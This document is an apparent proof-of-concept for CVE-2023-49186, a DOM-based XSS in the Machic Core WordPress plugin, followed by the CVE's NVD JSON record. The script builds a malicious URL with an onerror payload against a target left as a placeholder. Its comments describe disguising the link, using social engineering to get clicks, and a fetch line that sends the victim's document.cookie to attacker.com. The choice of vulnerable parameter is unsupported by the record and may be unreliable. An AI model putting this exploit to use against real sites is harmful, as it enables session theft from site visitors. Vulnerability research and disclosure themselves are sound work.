CVE-2023-49186

<!-- CVE-2023-49186 PoC - DOM-Based XSS in Machic Core --> <!-- Attack URL: Construct malicious URL with XSS payload in vulnerable parameter --> <script> // Simple PoC to demonstrate DOM-based XSS // Replace [TARGET_URL] with the vulnerable Machic Core site URL var maliciousPayload = '<img src=x onerror=alert(document.domain)>'; var targetUrl = '[TARGET_URL]?s=' + encodeURIComponent(maliciousPayload); console.log('Generated malicious URL: ' + targetUrl); console.log('This URL can be used to test for CVE-2023-49186'); console.log('When visited, the payload will execute JavaScript in the context of the vulnerable site'); // In a real attack scenario, the attacker would: // 1. Create a shortened or disguised URL // 2. Use social engineering to trick users into clicking // 3. The XSS payload could steal cookies: fetch('https://attacker.com?c='+document.cookie) </script>

{"cve": {"id": "CVE-2023-49186", "sourceIdentifier": "[email protected]", "published": "2026-01-05T14:15:52.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in KlbTheme Machic Core allows DOM-Based XSS.This issue affects Machic Core: from n/a through 1.2.6."}, {"lang": "es", "value": "Neutralización Inadecuada de Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') vulnerabilidad en KlbTheme Machic Core permite XSS Basado en DOM. Este problema afecta a Machic Core: desde n/a hasta 1.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://vdp.patchstack.com/database/wordpress/plugin/machic-core/vulnerability/wordpress-machic-core-plugin-1-2-6-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}